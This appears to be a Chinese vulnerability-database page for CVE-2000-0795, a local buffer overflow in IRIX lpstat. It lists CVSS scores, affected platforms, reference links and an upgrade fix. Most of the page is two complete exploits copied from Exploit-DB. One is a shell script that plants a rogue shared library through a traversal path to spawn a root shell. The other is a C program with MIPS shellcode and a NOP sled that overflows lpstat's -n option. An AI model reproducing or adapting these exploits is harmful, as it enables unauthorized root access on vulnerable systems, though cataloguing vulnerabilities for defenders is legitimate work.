CVE-2000-0795
CVSS7.2
发布时间 :2000-10-20 00:00:00
修订时间 :2008-09-05 16:21:54
NMCOE    

[原文]Buffer overflow in lpstat in IRIX 6.2 and 6.3 allows local users to gain root privileges via a long -n option.


[CNNVD]IRIX缓冲区溢出漏洞(CNNVD-200010-117)

        IRIX 6.2版本和6.3版本中lpstat存在缓冲区溢出漏洞。本地用户可以借助超长-n选项来提升根特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sgi:irix:6.3SGI IRIX 6.3
cpe:/o:sgi:irix:6.2SGI IRIX 6.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0795
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0795
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200010-117
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/templates/archive.pike?list=1&msg=200008021924.e72JOVs12558@ix.put.poznan.pl
(VENDOR_ADVISORY)  BUGTRAQ  20000802 [LSD] some unpublished LSD exploit codes
http://www.securityfocus.com/bid/1529
(VENDOR_ADVISORY)  BID  1529
http://www.osvdb.org/1485
(UNKNOWN)  OSVDB  1485

- 漏洞信息

IRIX缓冲区溢出漏洞
高危 缓冲区溢出
2000-10-20 00:00:00 2005-05-02 00:00:00
本地  
        IRIX 6.2版本和6.3版本中lpstat存在缓冲区溢出漏洞。本地用户可以借助超长-n选项来提升根特权。

- 公告与补丁

        

- 漏洞信息 (265)

IRIX (5.3/6.2/6.3/6.4/6.5/6.5.11) /usr/bin/lpstat Local Exploit (EDBID:265)
irix local
2001-05-07 Verified
0 LSD-PLaNET
N/A [点击下载]
#!/bin/sh
## copyright LAST STAGE OF DELIRIUM jul 2000 poland            *://lsd-pl.net/ #
## /usr/bin/lpstat                                                             #

EXECUTABLE=/usr/bin/lpstat
FILE=file
LIBRARY=lsd
DIRECTORY=tmp

cd $DIRECTORY
cat > $FILE << 'EOF'
HOSTNAME=localhost
HOSTPRINTER=bzzz-z
EOF
echo NETTYPE=../../../../$DIRECTORY/lsd >> $FILE
chmod 666 $FILE
cat > $LIBRARY.c << 'EOF'
OpenConn(){
    printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
    printf("/usr/bin/lpstat for irix 5.3 6.2 6.3 6.4 6.5 6.5.11 IP:all\n");
    printf("\n");
    setreuid(getuid(),0);setuid(0);setgid(0);
    execl("/bin/sh","sh",0);
}
CloseConn(){} ListPrinters(){} SendJob(){} CancelJob(){} WaitForJob(){}
GetQueue(){} StartTagging(){} StopTagging(){} Install(){} AddTimeout(){}
RemoveSemiColons(){} CreateInterface(){} InstallPrinter(){}
InstallIcon(){} SockRead(){} IsDest(){} BSDSendJob(){} ListAllPrinters(){}
EOF
cc -c $LIBRARY.c -c -o $LIBRARY.o
ld -shared $LIBRARY.o -o $LIBRARY.so
rm -rf $LIBRARY.[co] so_locations
if [ ! -f "$LIBRARY.so" ]
    then
    echo "error: building library"
    exit 1
fi
chmod 666 $LIBRARY.so

$EXECUTABLE -n ../../../../../$DIRECTORY/$FILE

# milw0rm.com [2001-05-07]
		

- 漏洞信息 (20129)

IRIX 6.2/6.3 lpstat Buffer Overflow Vulnerability (EDBID:20129)
irix local
1998-11-01 Verified
0 Last Stage of Delirium
N/A [点击下载]
source: http://www.securityfocus.com/bid/1529/info

Certain versions of IRIX ship with a version of lpstat which is vulnerable to a buffer overflow attack. The program, lpstat, is used to check the status of the printer being used by the IRIX machine. The problem is in the command line parsing section of the code whereby a user can supply an overly long string and overflow the buffer resulting in a possible root compromise. 

                /*## copyright LAST STAGE OF DELIRIUM nov 1998 poland        *://lsd-pl.net/ #*/
                /*## /bin/lpstat                                                             #*/

                #define NOPNUM 468
                #define ADRNUM 300
                #define PCHNUM 300

                char setreuidcode[]=
                    "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
                    "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
                    "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
                    "\x03\xff\xff\xcc"    /* syscall                      */
                    "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
                    "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
                    "\x24\x02\x04\x64"    /* li      $v0,1124             */
                    "\x03\xff\xff\xcc"    /* syscall                      */
                ;

                char shellcode[]=
                    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
                    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
                    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
                    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
                    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
                    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
                    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
                    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
                    "\x03\xff\xff\xcc"    /* syscall                      */
                    "/bin/sh"
                ;

                char jump[]=
                    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
                    "\x03\xe0\x00\x08"    /* jr      $ra                  */
                ;

                char nop[]="\x24\x0f\x12\x34";

                main(int argc,char **argv){
                    char buffer[10000],adr[4],pch[4],*b;
                    int i;

                    printf("copyright LAST STAGE OF DELIRIUM nov 1998 poland  //lsd-pl.net/\n");
                    printf("/bin/lpstat for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");

                    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8888+1364+140-15012;
                    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+8888+140+544+32748;

                    b=buffer;
                    *b++=0xff;
                    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
                    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
                    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
                    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
                    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
                    *b=0;

                    execl("/bin/lpstat","lsd","-n",buffer,0);
                }
		

- 漏洞信息

1485
IRIX lpstat -n Option Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Third-party Verified

- 漏洞描述

A local overflow exists in IRIX. The lpstat program fails to check bounds resulting in a buffer overflow. With a specially crafted request at the command line, an attacker may execute arbitrary code resulting in a loss of integrity.

- 时间线

2000-08-02 Unknow
1998-11-01 Unknow

- 解决方案

Upgrade to version 6.4 or higher, as it has been reported to fix this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站